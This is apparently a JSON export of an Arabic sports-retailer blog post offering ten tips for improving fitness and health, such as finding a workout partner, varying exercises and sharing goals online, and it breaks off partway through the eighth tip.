{"id":5452,"date":"2026-01-16T10:10:42","date_gmt":"2026-01-16T06:10:42","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=5452"},"modified":"2026-01-16T10:10:44","modified_gmt":"2026-01-16T06:10:44","slug":"10-ways-to-improve-physical-fitness","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/10-ways-to-improve-physical-fitness\/","title":{"rendered":"10 \u0637\u0631\u0642 \u0641\u0639\u0627\u0644\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0644\u064a\u0627\u0642\u062a\u0643 \u0648\u0635\u062d\u062a\u0643"},"content":{"rendered":"\n<p>\u0631\u0628\u0645\u0627 \u0644\u0627 \u062a\u0633\u062a\u064a\u0642\u0638 \u0646\u0634\u064a\u0637\u064b\u0627 \u0641\u064a \u0627\u0644\u062e\u0627\u0645\u0633\u0629 \u0635\u0628\u0627\u062d\u064b\u0627 \u0644\u062a\u0631\u0643\u0636 \u0623\u0645\u064a\u0627\u0644\u064b\u0627 \u0639\u062f\u064a\u062f\u0629 \u0643\u0644 \u064a\u0648\u0645\u060c \u0644\u0643\u0646 \u0625\u0630\u0627 \u0643\u0646\u062a \u062a\u0628\u062d\u062b \u0639\u0646 \u0646\u0635\u0627\u0626\u062d \u0645\u064f\u0644\u0647\u0645\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0635\u062d\u062a\u0643\u060c \u0623\u0648 \u0639\u0646 \u062d\u0627\u0641\u0632 \u0644\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u0641\u0642\u062f \u0648\u0635\u0644\u062a \u0625\u0644\u0649 \u0627\u0644\u0645\u0643\u0627\u0646 \u0627\u0644\u0645\u062b\u0627\u0644\u064a\u060c \u062d\u064a\u062b \u0625\u0646 \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u062c\u064a\u0629 \u0648\u0627\u0644\u0645\u0646\u062a\u0638\u0645\u0629 \u0647\u064a \u0627\u0644\u0628\u0648\u0627\u0628\u0629 \u0644\u0644\u0625\u0646\u062c\u0627\u0632\u0627\u062a.<\/p>\n\n\n\n<p>\u0648\u0633\u0648\u0627\u0621 \u0643\u0627\u0646 \u0647\u062f\u0641\u0643 \u0628\u0646\u0627\u0621 \u0627\u0644\u0642\u0648\u0629\u060c \u0623\u0648 \u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u062a\u062d\u0645\u0644\u060c \u0623\u0648 \u0627\u0643\u062a\u0633\u0627\u0628 \u0639\u0627\u062f\u0627\u062a \u0623\u0643\u062b\u0631 \u0635\u062d\u0629\u060c \u0641\u0625\u0646 \u0647\u0630\u0647 \u0627\u0644\u0631\u062d\u0644\u0629 \u063a\u0627\u0644\u0628\u064b\u0627 \u0645\u0627 \u062a\u062a\u0637\u0644\u0628 \u0639\u0632\u064a\u0645\u0629\u060c \u0648\u0644\u0645\u0633\u0627\u0639\u062f\u062a\u0643 \u0639\u0644\u0649 \u0627\u0644\u062b\u0628\u0627\u062a \u0648\u0627\u0644\u0645\u0636\u064a \u0642\u062f\u0645\u064b\u0627\u060c \u062c\u0645\u0639\u0646\u0627 \u0644\u0643 10 \u0637\u0631\u0642 \u0645\u062c\u0631\u0628\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0644\u064a\u0627\u0642\u062a\u0643 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0645\u0642\u0627\u0644\u0629\u060c \u0645\u0645\u0627 \u064a\u0636\u0645\u0646 \u0644\u0643 \u0627\u0644\u0628\u0642\u0627\u0621 \u0628\u0635\u062d\u0629 \u062c\u064a\u062f\u0629 \u0648\u0631\u0624\u064a\u0629 \u0646\u062a\u0627\u0626\u062c \u0645\u0644\u0645\u0648\u0633\u0629.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>1- \u0642\u0645 \u0628\u0627\u0644\u062a\u062e\u0644\u0635 \u0645\u0646 \u0627\u0644\u062d\u0644\u0648\u064a\u0627\u062a \u0644\u0644\u064a\u0627\u0642\u0629 \u0623\u0641\u0636\u0644<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/DESSERT_DETOX_700x400.jpg\" alt=\"\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u064a\u062c\u0628 \u0623\u0646 \u064a\u0639\u0643\u0633 \u0631\u0648\u062a\u064a\u0646\u0643 \u0646\u0645\u0637 \u062d\u064a\u0627\u062a\u0643 \u0627\u0644\u0635\u062d\u064a\u060c \u0641\u0645\u0646 \u0623\u0641\u0636\u0644 \u0627\u0644\u0637\u0631\u0642 \u0644\u062a\u062c\u0646\u0628 \u0625\u0636\u0631\u0627\u0631 \u0646\u0638\u0627\u0645\u0643 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0647\u0648 \u0627\u0644\u062a\u062e\u0644\u0635 \u0645\u0646 \u0627\u0644\u062d\u0644\u0648\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u0628\u0627\u0644\u0645\u0646\u0632\u0644\u060c \u0645\u062b\u0644 \u0639\u0628\u0648\u0627\u062a \u0627\u0644\u0622\u064a\u0633 \u0643\u0631\u064a\u0645 \u0648\u0642\u0648\u0627\u0644\u0628 \u0627\u0644\u0634\u0648\u0643\u0648\u0644\u0627\u062a\u0629\u060c \u0648\u063a\u064a\u0631\u0647\u0627 \u0645\u0646 \u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0627\u0644\u062f\u0647\u0646\u064a\u0629 \u0648\u0627\u0644\u0648\u062c\u0628\u0627\u062a \u0627\u0644\u062e\u0641\u064a\u0641\u0629 \u0627\u0644\u0645\u0635\u0646\u0639\u0629 \u0627\u0644\u062a\u064a \u062a\u062b\u064a\u0631 \u0627\u0644\u0634\u0647\u064a\u0629\u060c \u0648\u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0630\u0644\u0643\u060c \u0627\u0645\u0644\u0623 \u062b\u0644\u0627\u062c\u062a\u0643 \u0628\u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u0648\u0627\u0644\u0648\u062c\u0628\u0627\u062a \u0648\u0627\u0644\u062e\u064a\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u062d\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0641\u064a\u062f\u0643 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0648\u062a\u0632\u064a\u062f \u0645\u0646 \u0637\u0627\u0642\u062a\u0643.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2. \u0627\u0628\u062d\u062b \u0639\u0646 \u0635\u062f\u064a\u0642 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u062a\u062d\u0641\u064a\u0632<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/FIND_YOUR_FIT_BUDDY_700x400.jpg\" alt=\"\u0627\u0644\u0627\u0647\u062a\u0645\u0627\u0645 \u0628\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u0627\u0644\u062a\u062d\u0641\u064a\u0632 \u0648\u0646\u0645\u0637 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0646\u0634\u0637 \u0628\u0645\u0633\u0627\u0639\u062f\u0629 \u0634\u0631\u064a\u0643 \u0641\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u0629\" class=\"wp-image-5409\" title=\"Fit Buddy\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0623\u0633\u0647\u0644 \u0639\u0646\u062f\u0645\u0627 \u0644\u0627 \u062a\u0641\u0639\u0644\u0647\u0627 \u0628\u0645\u0641\u0631\u062f\u0643\u060c \u062d\u064a\u062b \u0648\u064f\u062c\u062f \u0623\u0646 \u0627\u0644\u0643\u062b\u064a\u0631\u064a\u0646 \u064a\u0644\u062a\u0632\u0645\u0648\u0646 \u0628\u0631\u0648\u062a\u064a\u0646\u0647\u0645 \u0628\u0634\u0643\u0644 \u0623\u0641\u0636\u0644 \u0639\u0646\u062f\u0645\u0627 \u064a\u0643\u0648\u0646 \u0644\u062f\u064a\u0647\u0645 \u0635\u062f\u064a\u0642 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 \u0623\u0648 \u064a\u0646\u0636\u0645\u0648\u0646 \u0625\u0644\u0649 \u0645\u062c\u0645\u0648\u0639\u0629 \u0630\u0627\u062a \u0623\u0647\u062f\u0627\u0641 \u0645\u0645\u0627\u062b\u0644\u0629.<\/p>\n\n\n\n<p>\u0634\u0627\u0631\u0643 \u062e\u0637\u0629 \u0644\u064a\u0627\u0642\u062a\u0643 \u0627\u0644\u0634\u0647\u0631\u064a\u0629 \u0645\u0639 \u0635\u062f\u064a\u0642\u060c \u0648\u062a\u062a\u0628\u0639\u0627 \u0627\u0644\u062a\u0642\u062f\u0645 \u0645\u0639\u064b\u0627\u060c \u0648\u0636\u0639\u0627 \u062c\u062f\u0648\u0644\u064b\u0627 \u0623\u0633\u0628\u0648\u0639\u064a\u064b\u0627 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629\u060c \u0625\u0630 \u0625\u0646 \u0627\u0644\u062a\u0632\u0627\u0645\u0643 \u0628\u0648\u062c\u0648\u062f \u0634\u0631\u064a\u0643 \u0633\u064a\u062d\u0633\u0646 \u0646\u062a\u0627\u0626\u062c\u0643 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>3. \u0637\u0648\u0631 \u0645\u0639\u062f\u0627\u062a\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/RETAIL_THERAPY_700x400_AR.jpg\" alt=\"\u062c\u062f\u062f \u0645\u0639\u062f\u0627\u062a\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0628\u0627\u0644\u062a\u0633\u0648\u0642 \u0639\u0628\u0631 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a \u0645\u0646 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633\" class=\"wp-image-5454\" title=\"sssports.com\"\/><\/figure><\/div>\n\n\n<p class=\"has-text-align-center\"><\/p>\n\n\n\n<p>\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0627\u0644\u062a\u0633\u0648\u0642 \u0645\u062d\u0641\u0632\u064b\u0627 \u0642\u0648\u064a\u064b\u0627 \u0644\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0641\u064a \u0627\u0644\u062a\u0631\u064a\u0636 \u0628\u0637\u0631\u064a\u0642\u0629 \u0644\u0627 \u062a\u0635\u062f\u0642! \u062d\u064a\u062b \u0625\u0646 \u0627\u0644\u0627\u0633\u062a\u062b\u0645\u0627\u0631 \u0641\u064a \u0645\u0644\u0627\u0628\u0633 \u0631\u064a\u0627\u0636\u064a\u0629 \u062c\u062f\u064a\u062f\u0629 \u0623\u0648 \u0645\u0639\u062f\u0627\u062a \u062a\u0645\u0631\u064a\u0646 \u064a\u0633\u0627\u0639\u062f\u0643 \u0639\u0644\u0649 \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0631\u0636\u0627\u060c \u0648\u064a\u0628\u0642\u064a\u0643 \u0645\u0644\u062a\u0632\u0645\u064b\u0627\u060c \u0648\u064a\u062c\u0639\u0644\u0643 \u0645\u062a\u0637\u0648\u0642\u064b\u0627 \u0625\u0644\u0649 \u062c\u0644\u0633\u0627\u062a \u0627\u0644\u062a\u0645\u0631\u064a\u0646.<\/p>\n\n\n\n<p>\u0644\u0630\u0644\u0643 \u0646\u062f\u0639\u0648\u0643 \u0644\u062a\u0633\u0648\u0642 \u0623\u062d\u062f\u062b \u0627\u0644\u0645\u0644\u0627\u0628\u0633 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src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/TRAINING_DAY_700x400.jpg\" alt=\"\u062e\u0637\u0637 \u0644\u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0648\u062c\u062f\u0648\u0644 \u0644\u064a\u0627\u0642\u062a\u0643 \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629\" class=\"wp-image-5429\" title=\"Training Day\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0647\u0648 \u0627\u0644\u0623\u0633\u0627\u0633! \u0644\u0633\u062a \u0645\u0636\u0637\u0631\u064b\u0627 \u0644\u0644\u062a\u0645\u0631\u0646 \u0643\u0644 \u064a\u0648\u0645\u060c \u0648\u0644\u0643\u0646\u0643 \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u062e\u0637\u0629 \u0641\u0639\u0651\u0627\u0644\u0629 \u0644\u0644\u062a\u0645\u0631\u0646 \u0628\u0637\u0631\u064a\u0642\u0629 \u062a\u0641\u064a\u062f\u0643\u060c \u0644\u0630\u0644\u0643\u060c \u0642\u0645 \u0628\u0627\u0644\u062c\u0645\u0639 \u0628\u064a\u0646 \u0627\u0644\u062c\u0644\u0633\u0627\u062a \u0627\u0644\u0645\u0643\u062b\u0641\u0629 \u0648\u0627\u0644\u0645\u062a\u062a\u0627\u0644\u064a\u0629 \u0648\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0645\u0639\u062a\u062f\u0644\u0629 \u0645\u062b\u0644 \u0627\u0644\u064a\u0648\u063a\u0627 \u0623\u0648 \u0627\u0644\u0628\u064a\u0644\u0627\u062a\u0633 \u0623\u0648 \u0627\u0644\u0633\u0628\u0627\u062d\u0629\u060c \u0644\u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0633\u064a\u0633\u0627\u0639\u062f\u0643 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0634\u0641\u0627\u0621 \u0628\u064a\u0646\u0645\u0627 \u062a\u0638\u0644 \u062a\u062a\u0642\u062f\u0645 \u0646\u062d\u0648 \u0627\u0644\u0648\u0635\u0648\u0644 \u0644\u0623\u0647\u062f\u0627\u0641\u0643 \u0627\u0644\u0635\u062d\u064a\u0629.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>5. \u0627\u062f\u0645\u062c \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u064a \u0631\u0648\u062a\u064a\u0646\u0643<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/FITNESS_HACKS_700x400.jpg\" alt=\"\u062a\u0645\u0631\u064a\u0646 \u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0627\u062a \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642 \u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u0627\u0644\u0639\u0627\u0641\u064a\u0629\u060c \u064a\u062c\u0645\u0639 \u0628\u064a\u0646 \u0627\u0644\u0645\u062a\u0639\u0629 \u0648\u0646\u0645\u0637 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0635\u062d\u064a.\" class=\"wp-image-5413\" title=\"Fitness Hacks\"\/><\/figure><\/div>\n\n\n<p class=\"has-text-align-center\"><\/p>\n\n\n\n<p>\u0625\u0644\u064a\u0643 \u0646\u0635\u064a\u062d\u0629 \u0625\u0636\u0627\u0641\u064a\u0629 \u0644\u0641\u0642\u062f\u0627\u0646 \u0627\u0644\u0648\u0632\u0646: \u0645\u0641\u0647\u0648\u0645 &#8220;\u062d\u064a\u0644 \u0627\u0644\u0644\u064a\u0627\u0642\u0629&#8221;\u060c \u0647\u0630\u0647 \u0627\u0644\u062d\u064a\u0644 \u0644\u0627 \u062a\u062c\u0639\u0644 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0623\u0633\u0647\u0644\u060c \u0628\u0644 \u062a\u062c\u0639\u0644\u0647 \u0623\u0643\u062b\u0631 \u0645\u062a\u0639\u0629\u060c \u0648\u0641\u064a \u0628\u0639\u0636 \u0627\u0644\u0623\u062d\u064a\u0627\u0646\u060c \u062a\u0643\u0648\u0646 \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u0628\u0633\u064a\u0637\u0629 \u0647\u064a \u0645\u0627 \u062a\u0628\u0642\u064a\u0643 \u0645\u0644\u062a\u0632\u0645\u064b\u0627\u060c \u0644\u0630\u0644\u0643 \u062c\u0631\u0651\u0628 \u0647\u0630\u0647 \u0627\u0644\u062d\u064a\u0644 \u0627\u0644\u0628\u0633\u064a\u0637\u0629 \u0644\u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u062d\u0645\u0627\u0633 \u0625\u0644\u0649 \u062c\u062f\u0648\u0644\u0643:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u063a\u064a\u0631 \u0637\u0631\u064a\u0642\u0629 \u062a\u0646\u0642\u0644\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u0629:<\/strong> \u0633\u064a\u0633\u0627\u0639\u062f\u0643 \u0627\u0644\u0645\u0634\u064a \u0648\u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0627\u062a \u0639\u0644\u0649 \u062d\u0631\u0642 \u0627\u0644\u0633\u0639\u0631\u0627\u062a \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629 \u0627\u0644\u0632\u0627\u0626\u062f\u0629.<\/li>\n\n\n\n<li><strong>\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u0635\u063a\u0631\u0629:<\/strong> \u0623\u062b\u0646\u0627\u0621 \u0645\u0634\u0627\u0647\u062f\u0629 \u0628\u0631\u0646\u0627\u0645\u062c\u0643 \u0627\u0644\u062a\u0644\u0641\u0632\u064a\u0648\u0646\u064a \u0627\u0644\u0645\u0641\u0636\u0644\u060c \u0642\u0645 \u0628\u0640 20 \u062a\u0645\u0631\u064a\u0646 \u0644\u0634\u062f \u0627\u0644\u0628\u0637\u0646 \u062e\u0644\u0627\u0644 \u0641\u0648\u0627\u0635\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0646\u0627\u062a.<\/li>\n\n\n\n<li><strong>\u0643\u0627\u0631\u062f\u064a\u0648 \u0627\u0644\u0625\u064a\u0642\u0627\u0639:<\/strong> \u0627\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0645\u0648\u0633\u064a\u0642\u0649 \u0643\u062f\u0627\u0641\u0639! \u0627\u0646\u0637\u0644\u0642 \u0648\u0627\u0631\u0643\u0636 \u0628\u0623\u0642\u0635\u0649 \u0633\u0631\u0639\u0629 \u0639\u0646\u062f\u0645\u0627 \u062a\u0628\u062f\u0623 \u0623\u063a\u0646\u064a\u062a\u0643 \u0627\u0644\u0645\u0641\u0636\u0644\u0629\u060c \u0644\u062f\u0645\u062c \u062c\u0644\u0633\u0629 \u062a\u0645\u0631\u064a\u0646 \u0639\u0644\u0649 \u0646\u0645\u0637 \u0627\u0644\u0641\u0648\u0627\u0635\u0644 \u0627\u0644\u0632\u0645\u0646\u064a\u0629 \u0641\u064a \u0631\u0648\u062a\u064a\u0646\u0643.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>6. \u0643\u0627\u0641\u0626 \u0646\u0641\u0633\u0643 \u0628\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/TREAT_YO_SELF_700x400.jpg\" alt=\"\u0643\u0627\u0641\u0626 \u0646\u0641\u0633\u0643 \u0628\u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629\"\/><\/figure><\/div>\n\n\n<p>\u0627\u0644\u0627\u0646\u062a\u0635\u0627\u0631\u0627\u062a \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u062a\u0635\u0646\u0639 \u0641\u0627\u0631\u0642\u064b\u0627! \u0636\u0639 \u0623\u0647\u062f\u0627\u0641\u064b\u0627 \u0648\u0627\u0642\u0639\u064a\u0629 \u0645\u062b\u0644 \u062d\u0631\u0642 \u0639\u062f\u062f \u0645\u062d\u062f\u062f \u0645\u0646 \u0627\u0644\u0633\u0639\u0631\u0627\u062a \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629\u060c \u0623\u0648 \u0625\u0636\u0627\u0641\u0629 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0625\u0644\u0649 \u0646\u0638\u0627\u0645\u0643 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u060c \u0623\u0648 \u062a\u062d\u0642\u064a\u0642 \u0647\u062f\u0641 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0623\u0633\u0628\u0648\u0639\u064a\u060c \u0648\u0628\u0645\u062c\u0631\u062f \u062a\u062d\u0642\u064a\u0642\u0647\u0627\u060c \u0643\u0627\u0641\u0626 \u0646\u0641\u0633\u0643 \u0628\u064a\u0648\u0645 \u0641\u064a \u0627\u0644\u0645\u0646\u062a\u062c\u0639 \u0627\u0644\u0635\u062d\u064a\u060c \u0623\u0648 \u0645\u0639\u062f\u0627\u062a \u0644\u064a\u0627\u0642\u0629 \u062c\u062f\u064a\u062f\u0629\u060c \u0623\u0648 \u0648\u062c\u0628\u0629 \u0645\u0631\u064a\u062d\u0629 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644\u060c \u062d\u064a\u062b \u0625\u0646 \u0627\u0644\u0645\u0643\u0627\u0641\u0622\u062a \u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0639\u0627\u0644\u064d \u0645\u0646 \u0627\u0644\u062a\u062d\u0641\u064a\u0632 \u0648\u062a\u062c\u0639\u0644 \u0627\u0644\u062a\u0642\u062f\u0645 \u0645\u0633\u062a\u062f\u0627\u0645\u064b\u0627.<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>7. \u0646\u0648\u0639 \u062e\u0637\u062a\u0643 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u0645\u062a\u0639\u0629<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/MIX_THINGS_UP_700x400.jpg\" alt=\"\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627 \u0648\u0627\u0644\u062a\u0623\u0645\u0644 \u0628\u062c\u0627\u0646\u0628 \u0627\u0644\u0645\u062d\u064a\u0637\u060c \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u0644\u064a\u0627\u0642\u0629\u060c \u0648\u062a\u062e\u0641\u064a\u0641 \u0627\u0644\u062a\u0648\u062a\u0631\u060c \u0648\u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0635\u062d\u064a\u0629.\" class=\"wp-image-5422\" title=\"Mix Things Up\"\/><\/figure><\/div>\n\n\n<p class=\"has-text-align-center\"><\/p>\n\n\n\n<p>\u0627\u0644\u0631\u062a\u0627\u0628\u0629 \u0647\u064a \u0627\u0644\u0633\u0628\u0628 \u0648\u0631\u0627\u0621 \u062a\u062e\u0644\u064a \u0645\u0639\u0638\u0645 \u0627\u0644\u0631\u062c\u0627\u0644 \u0648\u0627\u0644\u0646\u0633\u0627\u0621 \u0627\u0644\u0639\u0627\u0645\u0644\u064a\u0646 \u0639\u0646 \u062c\u062f\u0627\u0648\u0644 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0645 \u0644\u0644\u0631\u064a\u0627\u0636\u0629\u060c \u0644\u0647\u0630\u0627\u060c \u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062d\u0645\u0627\u0633\u0643 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062c\u0645\u0639 \u0628\u064a\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u062e\u062a\u0644\u0641\u0629\u060c \u0623\u0648 \u0627\u0644\u062a\u0646\u0627\u0648\u0628 \u0628\u064a\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0648\u0629\u060c \u0623\u0648 \u062f\u0645\u062c \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0648\u0631 \u0645\u0639 \u0627\u0644\u064a\u0648\u063a\u0627\u060c \u0644\u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0634\u063a\u0641\u0643 \u0628\u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0648\u0627\u0633\u062a\u0639\u062f\u0627\u062f\u0643 \u0644\u0644\u062a\u0645\u0631\u0646.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>8. \u0634\u0627\u0631\u0643 \u0623\u0647\u062f\u0627\u0641\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/SHARE_YOUR_FITNESS_GOAL_700x400.jpg\" alt=\"\u0646\u0645\u0637 \u062a\u0645\u0631\u064a\u0646 \u0639\u0635\u0631\u064a \u0645\u0639 \u0642\u0628\u0639\u0629 \u0631\u0623\u0633 \u0648\u0633\u0645\u0627\u0639\u0627\u062a \u0631\u0623\u0633\u060c \u0645\u062b\u0627\u0644\u064a \u0644\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.\" class=\"wp-image-5427\" title=\"Share your Fitness Goals\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0641\u0643\u0631 \u0641\u064a \u0627\u0644\u0623\u0645\u0631! \u0646\u062d\u0646 \u0646\u0633\u062a\u062e\u062f\u0645 \u0625\u0646\u0633\u062a\u063a\u0631\u0627\u0645 \u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0643\u0644 \u0645\u0627 \u0646\u0623\u0643\u0644\u0647 \u062a\u0642\u0631\u064a\u0628\u064b\u0627\u060c \u0648\u0646\u0646\u0634\u0631 \u062a\u062d\u062f\u064a\u062b\u0627\u062a\u0646\u0627 \u0627\u0644\u064a\u0648\u0645\u064a\u0629\u060c \u0648\u0646\u063a\u0631\u0651\u062f \u0628\u0622\u0631\u0627\u0626\u0646\u0627\u060c \u0641\u0644\u0645\u0627\u0630\u0627 \u0644\u0627 \u064a\u0645\u0643\u0646\u0646\u0627 \u0645\u0634\u0627\u0631\u0643\u0629 \u062a\u0642\u062f\u0645\u0646\u0627 \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0645\u0639 \u0627\u0644\u0639\u0627\u0644\u0645\u061f \u0641\u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629\u060c \u0648\u0633\u0627\u0626\u0644 \u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a \u0644\u064a\u0633\u062a \u0645\u062e\u0635\u0635\u0629 \u0644\u0635\u0648\u0631 \u0627\u0644\u0637\u0639\u0627\u0645 \u0641\u0642\u0637.<\/p>\n\n\n\n<p>\u0625\u0646 \u0645\u0634\u0627\u0631\u0643\u0629 \u062a\u0642\u062f\u0645\u0643 \u0641\u064a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062d\u0641\u0632\u0643 \u0648\u064a\u0644\u0647\u0645 \u0627\u0644\u0622\u062e\u0631\u064a\u0646\u060c \u0643\u0645\u0627 \u062a\u062a\u064a\u062d \u0644\u0643 